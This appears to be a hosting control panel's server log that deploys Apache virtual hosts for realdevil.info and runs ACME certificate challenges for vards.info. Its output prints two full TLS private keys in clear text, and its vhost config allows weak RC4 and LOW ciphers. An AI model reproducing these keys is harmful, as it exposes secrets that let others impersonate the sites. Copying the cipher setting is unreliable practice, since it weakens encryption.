    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-26 06:01:00: 

PUT: /tmp/pkp653789

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=realdevil_www_info.conf
TARGET=/etc/apache2/sites-enabled/realdevil_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/realdevil_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/realdevil_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/realdevil_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/realdevil_www_info.conf= 1'
fi


2025-09-26 06:01:00: 

chmod 755 /tmp/pkp653789; /tmp/pkp653789; rm /tmp/pkp653789

2025-09-26 06:01:00: 




2025-09-26 06:01:00: 

PUT: /tmp/pkp315587

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-26 06:01:00: 

chmod 755 /tmp/pkp315587; /tmp/pkp315587; rm /tmp/pkp315587

2025-09-26 06:01:01: 


.


2025-09-26 06:01:01: Establishing a connection
2025-09-26 06:01:02: 

PUT: /tmp/pkp259461

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-26 06:01:02: 

chmod 755 /tmp/pkp259461; /tmp/pkp259461; rm /tmp/pkp259461

2025-09-26 06:01:02: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-09-26 06:01:02: 

PUT: /tmp/pkp553307

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/realdevil_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-26 06:01:02: 

chmod 755 /tmp/pkp553307; /tmp/pkp553307; rm /tmp/pkp553307

2025-09-26 06:01:02: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realdevil_www_info.conf	1381

<VirtualHost *:80>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-26 06:01:02: 

PUT: /tmp/pkp760183

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-26 06:01:02: 

chmod 755 /tmp/pkp760183; /tmp/pkp760183; rm /tmp/pkp760183

2025-09-26 06:01:02: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem	5372
05:47:74:9c:fb:98:c0:a7:eb:8e:42:28:2e:3f:38:53

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBVCz36h0yxJ2gqUdapLE4MC8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI2MDUwMjI2WhcNMjUxMjI1MDUwMjI1WjAZMRcwFQYDVQQD
Ew5yZWFsZGV2aWwuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AL+BU+ANxka4aH/B71Cs90axU9bbCurf81hsfLgXu9mOvZ2z632C4n5q6n+NbsrP
rGM6hK8q6WWxbTKSejf6PmiskHKMP0/JZC+Xea0Abx0nH0luEmBl6BBvzbFx+Qhv
rYO3nU5cbS0T+cs7/U8D0iL96veaFjf4i1fZG6lUMxgwHTmZpFORyWBNsyDaQjGU
ecAuq0n0LdrZpZlOV4WhhlroY5mYI+VAWf15x/W+dIinCxsOcvxnKDnHreswasT2
eg9TOG+HNAElT/gXUaSANOi8YEe0jGsg/+AOAMFMruyRzDgoVjwHelpLhClTHNx4
wSdAc8y45l6zdHfvfogD+QUCAwEAAaOCAjAwggIsMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUonxjk8ReNrLO5KImyKMQ47RemDowHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5yZWFsZGV2aWwuaW5mb4ISd3d3
LnJlYWxkZXZpbC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNjEuY3JsMIIBAgYKKwYBBAHW
eQIEAgSB8wSB8ADuAHUA7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AA
AAGZhJxCmgAABAMARjBEAiAv2Lb6c6zmK3LNFR59lqMa5BynmTH3KEE4UvPwtc2V
WQIgRReZoMdxwzb7h7y6voqXKmZoLXefcKFx8vbDlQvZvksAdQAS8U40vVNyTIQG
GcOPP3oT+Oe1YoeInG0wBYTr5YYmOgAAAZmEnEpsAAAEAwBGMEQCID/AHgGm4AGM
J+BK8vbZMFDvNk4yedwWdfJDAdggFgbLAiA4FYmy1TDr6OvBLNcnAtGb0m9MXlYd
DIcrrmKToVZ4jTANBgkqhkiG9w0BAQsFAAOCAQEAEbJgxxqiKIO3ZipjwEFSuRZN
AfHL/vEOIFMI5+GrszXiI6ZSbC5dN+fX74dfcE/+PzdkD06KpBCbtuGXYLp3kTIB
6z7T1AMkFTjrb09VjiI1tHUFQWtMAtHBH/h3SqYTRTtfLWrekenuUjgyAWpPY0AH
ZxtwWjN84bApFelhywhf+bdq3yVSYKCCMuC79nfF/++l8GXJvCZJ1A1qldJrzvL8
dD+NsySkX+ZBEwdH2KKr5/pq/zFhKPXk/4WWz4g4MVDqjVR/ePKlWkGctWYYeOmU
eNfmZy179gAMWRzgKuCU8qn0Mz6IT/qHd0tu2Hst+sf6uZoO4VbQkkWxHEe0pA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC/gVPgDcZGuGh/
we9QrPdGsVPW2wrq3/NYbHy4F7vZjr2ds+t9guJ+aup/jW7Kz6xjOoSvKullsW0y
kno3+j5orJByjD9PyWQvl3mtAG8dJx9JbhJgZegQb82xcfkIb62Dt51OXG0tE/nL
O/1PA9Ii/er3mhY3+ItX2RupVDMYMB05maRTkclgTbMg2kIxlHnALqtJ9C3a2aWZ
TleFoYZa6GOZmCPlQFn9ecf1vnSIpwsbDnL8Zyg5x63rMGrE9noPUzhvhzQBJU/4
F1GkgDTovGBHtIxrIP/gDgDBTK7skcw4KFY8B3paS4QpUxzceMEnQHPMuOZes3R3
736IA/kFAgMBAAECggEAN4pLiByWl6Yd8IePX6d6Y89EEHkglnPzAH8eQMnpWjRy
u80VjCYsiBt7/RhIvJs0VOcA2kioviySDeu7dIaoGPWLQx13sy0mWEMnL8yDbUIO
ad55h+mmPzYdwsvaPN8exKe5AKP/qeY0OQQh+AuUoz9fKQZQUVVNHGJECnz4AJha
9i3VmUb+CEIKTjE0JqKWA2pC1b5lVQAx8fJ1tLDmtNsxMlJPyJCAxX8GrMzPuQoF
cJps5QRINL1WCO+5/oHldBn1P68DpzzdZiLp1b8FUuhOkdMdU4UVQNVO7ai1rgAL
CxZJg4k/CNhpdEAeoNXXPCYZxFH3ylVRQYvch2cMVQKBgQDtD/1Pgf30mrZpM6m3
Xj3wXnh54hqtO3u/w3edkqo6r/buNl+EWzBu1JsDcardFjhG54zFkXpfu+w9JXLe
++wL+N51WpxnvnxMNctQc03D3k9ozfspkG00Kz0cFlowm3IjB61htsO67s1QkNwH
5s0zQijyFKFsdAwgoe1Ze9kigwKBgQDOza0JGJOciVudYCbaiR2OItl21jx0w8QB
QXY9uZumJ2VDDEz5GDGZbnPL92qGcCIKyEiry6Q18CwieZ5QIRLjj9uM9KtlZXhK
LGY3FcpGBciuqWvRV9kiUyWPkqQdR1XtAKzjmzHoT0iQp8/QwTCOlPmwJ1HqYFr3
IfGF9wN/1wKBgQCZ8whN2d1SPCa5qxNMQad3seILRQqN9VMn9Yh4jAaAlkWF7Uma
ap3JW8hPNEIB0aw6X6TLqO4Pvbps+yTeKjvgin3tOCraNJoD4+tlE3ws9vIa3al+
FIzWlD3bP6jSaCB3H0U5b7csbmhnKau6dehMoWp1y3AJPlOh3YaF1ifsgQKBgQCz
vd30NvEtL9F50jVS4bPXcwCxofi/v9rfAIeFlIns+vavNMS+B8IsSezJTYy/tjxQ
RM2sy305CDtD55KqsGRbdxBqzckegvfu9/ILVJwPCj3nWQeF1yW5CK1vwRN1Ayhy
qpCZ7qyM7kPyvngIR7Eta9wst7Ah1oeZnl3ugsf+1wKBgCs+PGYUHwkFhbOOq6GF
WvB3ExE/tI+F9gy4DUZlP6YMBn0xyKSd/NlTK38YBVNXkFA2g9WHwghjmn7yY7Fe
RK/MlDUbwNzPXUKS0Ezk/SiBpPIbVrantuMwUpaajoApE1JYAsvvMDlEIyVwTwGS
po8+OCTJvsYsYyBFHLGfLGB1
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-09-26 06:01:03: Establishing a connection
2025-09-26 06:01:03: Establishing a connection
2025-09-26 06:01:03: 

PUT: /tmp/pkp684406

#!/bin/bash
if [ -d "/var/www/vards_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-26 06:01:03: 

chmod 755 /tmp/pkp684406; /tmp/pkp684406; rm /tmp/pkp684406

2025-09-26 06:01:03: 


1


2025-09-26 06:01:04: Establishing a connection
2025-09-26 06:01:04: 

PUT: /tmp/pkp198070

#!/bin/bash
mkdir -p "/var/www/vards_www/.well-known/acme-challenge/"
cd "/var/www/vards_www/.well-known/acme-challenge/"
cat > AXR6ina-cXVzDeQ_qYjiYuaOisZ5OI272WH4BBG2Uss <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
AXR6ina-cXVzDeQ_qYjiYuaOisZ5OI272WH4BBG2Uss.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 AXR6ina-cXVzDeQ_qYjiYuaOisZ5OI272WH4BBG2Uss
cat > KrvijeQ76G4buqjmnOeJ__kU4c8DaX-Te3X3qbDQV2A <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
KrvijeQ76G4buqjmnOeJ__kU4c8DaX-Te3X3qbDQV2A.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 KrvijeQ76G4buqjmnOeJ__kU4c8DaX-Te3X3qbDQV2A


2025-09-26 06:01:04: 

chmod 755 /tmp/pkp198070; /tmp/pkp198070; rm /tmp/pkp198070

2025-09-26 06:01:04: 




2025-09-26 06:01:15: Establishing a connection
2025-09-26 06:01:15: 

PUT: /tmp/pkp375039

#!/bin/bash
mkdir -p "/var/www/vards_www/.well-known/acme-challenge/"
cd "/var/www/vards_www/.well-known/acme-challenge/"
rm AXR6ina-cXVzDeQ_qYjiYuaOisZ5OI272WH4BBG2Uss
rm KrvijeQ76G4buqjmnOeJ__kU4c8DaX-Te3X3qbDQV2A


2025-09-26 06:01:15: 

chmod 755 /tmp/pkp375039; /tmp/pkp375039; rm /tmp/pkp375039

2025-09-26 06:01:15: 




2025-09-26 06:01:15: Establishing a connection
2025-09-26 06:01:15: 

PUT: /tmp/pkp750832

#!/bin/bash
temp_file=$(mktemp)
TARGET=5c147bca0a238ba09c5472db1d5debd9.crt

cat > $temp_file <<'endmsg'
6d:c6:49:9b:36:03:7a:5b:f9:65:45:7a:46:2d:62:d1

-----BEGIN CERTIFICATE-----
MIIE/zCCA+egAwIBAgISBaTUO9ygmrR6huWd3oluOB4iMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI2MDUwMjQ0WhcNMjUxMjI1MDUwMjQzWjAVMRMwEQYDVQQD
Ewp2YXJkcy5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtRey
Nrz6HgLBnG+roLIuDJQiPm6SJ5bblRJxfUFjdiEPhqwqrb0uyh0XCNXEni+fEorX
7plhP6DPB/aMmlsFOQ/tU+/oRnqCs66lIATQ+HwlMg36tA1/3rkAKHsSpKCMlPfE
uI97C+ERV794vqQZP9Xdv/T5hp2WcQFsTK/YFruwN+5M17MoHY2DCLBxwKdum0/9
0PekK7yPVFIP4mT8p8snPA/4TujLkimZYdCGjQqu3SSs8ZBPZt5Ip99e1PAh6uFm
uLZdobjVyCYGYUAyMQ6GDsQmfrAjPvsAP+e3fYJvJR1RUcDUVW/sOUsdmtk0Iko9
pgiUCmu6dNQGy3C/YQIDAQABo4ICKTCCAiUwDgYDVR0PAQH/BAQDAgWgMB0GA1Ud
JQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQW
BBTIWja7YcZYHg/4ln9f0ruUEYx+QTAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jI
soQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMu
aS5sZW5jci5vcmcvMCUGA1UdEQQeMByCCnZhcmRzLmluZm+CDnd3dy52YXJkcy5p
bmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6
Ly9yMTMuYy5sZW5jci5vcmcvMzUuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDv
AHYAzPsPaoVxCWX+lZtTzumyfCLphVwNl422qX5UwP5MDbAAAAGZhJyFsAAABAMA
RzBFAiB8QHiamkS1FqN5oIA0kNl6WCbjAydJX85dx9cN5QqyJgIhAIInSgCrKloy
veUe4KzoHb1GcCkEAN9cXTd+CwpKN58IAHUAEvFONL1TckyEBhnDjz96E/jntWKH
iJxtMAWE6+WGJjoAAAGZhJyFnwAABAMARjBEAiAKxEb+V/uTzVvvl472RxdxkwN+
pNzhYM3bqFb3HcbNrgIgdRq/n/oFWyMWcCRtoMekYA0sgUscZwg4A24TerOfjggw
DQYJKoZIhvcNAQELBQADggEBAJe4VAaZwawnWa8T3YFWPGwwN2sY+KRuDfEQAKgi
Gl0tHI8MEBdUeMs9ZG/BGRR1dgW3anZainEAudd2xZHURSjLinEBrFTpjlo73Xei
gte0K5BjwdAd2sUOFTJjEsAARVejq23Fkh9DxBD3nII0rhfht9MICrwE5gP4l9CQ
qKD+Ov/cEb8FqsRIpdsoWqZHqbwXfNXKqcCTRgC2dQYfiVrF0Is+IRGehZD5iAdV
nfnJOL8vHQu9nCzb5ZYULFzPEcDXlOxh10VF5h4OWNLioi2noBkn3ah9hJq1QNMl
SpOrGxCF+V8eOkacgtDWtZIhbp2q6jEE1kkmpRHvcRlZ2mY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1F7I2vPoeAsGc
b6ugsi4MlCI+bpInltuVEnF9QWN2IQ+GrCqtvS7KHRcI1cSeL58SitfumWE/oM8H
9oyaWwU5D+1T7+hGeoKzrqUgBND4fCUyDfq0DX/euQAoexKkoIyU98S4j3sL4RFX
v3i+pBk/1d2/9PmGnZZxAWxMr9gWu7A37kzXsygdjYMIsHHAp26bT/3Q96QrvI9U
Ug/iZPynyyc8D/hO6MuSKZlh0IaNCq7dJKzxkE9m3kin317U8CHq4Wa4tl2huNXI
JgZhQDIxDoYOxCZ+sCM++wA/57d9gm8lHVFRwNRVb+w5Sx2a2TQiSj2mCJQKa7p0
1AbLcL9hAgMBAAECggEBAJ15s7HB98ZtIywEN70P9NdfYb/kqxfeKaiiVypS2Ej7
SuMTiDF5F90OGt/F9KqSQsP/FPMZUeXg0ufb0DzR9eK/JOQe9V+EXXAe6NzFE2th
mX7DhUVZj96ABdEt5PJf4qAQLXNI4flciJZDnJ47WPGX6rNoNiyHkTFHyYOOTlzE
91pbs9bu197RnvbFRZSFSihDPHyKIxzrLuP8kqJU2TxbsGbNVlkCzBCJBrn3UOWY
BzkQSRkxJxQHiRWdk6nd9RV1ZcgBSi1/6wR0HpVm3760ilnWFfxmLNYTKWVX3Brb
/dME+Sk1dcDE9wFbpdJrUCniUrm+oMF34wCVUdPhnqECgYEA2y3VDh4s+UIBcQLS
++sRMSuYnbmo4TR6MaE0m2dMYfVhY3fvO6aSmqO0cpNlkz9Uljs0ccD9OF4KfW90
Ml6s1pUR0OKhiMePeSWa1pUPSCW0oBsTcF28JW8iv09XWT3jVKPSyldjxXD0lBVc
NT95QCFGWskhz9hUNPHWs80QTyUCgYEA04Pj8R4mtxDn1ZOa565QUr1StwM3cMsM
KD+XgBM+NqCaRmsv5+MdM1nm2QuJNGpt2hlLIYQGr7HgiYPWLT7+q4MLFweBt5Qj
vEuVB08Jdc+R9DCeNtBWsYcAkUEy78usUzCTMsLGyXQyNx0Vn581SQzoaQe2l32e
JSfj1/hMCI0CgYAZFSmor/NdoxwfHr+ebMxO4Dpa8oBNJYBGZbhrgGrRWw+GHpeW
L/3fDJT997hMHZdEign6aqeP59Mzf6nAie0lsXGUghsSWCQnLRKHNA/HpekB2Zdj
6JY7gnhrhFzurZJygT0CQvX8Bm029SrUPStXF3fBs/rWml8on/R+Jx2SsQKBgCPK
w72/jmmYEMMRcTsXQjxeESsq/iy2D16YNDjWCMcRskmMRdUFl6Fi6y97RkJ6aBBq
C06mmsMMZKSgjJOnf0zipfPFr2uzQ8DPQW61LzKiZ15dA8jexGzSHYR29fmiC40g
QShr0Vuxr/WnlEsok8nCx2lOhtVnymUbNPEM8UDZAoGBALdSWbLd3ZW/wt9wqn2e
pt//NlNnxvHLTQZOaWJ+yq93ebyP2OzkHAee8/sMrXgHd5gu8A5V8Zapi8eh3Kls
ZFfMZt1hqRvJsFVA/0JtE71n7ucO5Uk51Qh7704xkuAmKoPhYPSR/pwmp0L0Im6/
mhZUQ8+7uZ6/KDGRCFhGjQgC
-----END PRIVATE KEY-----

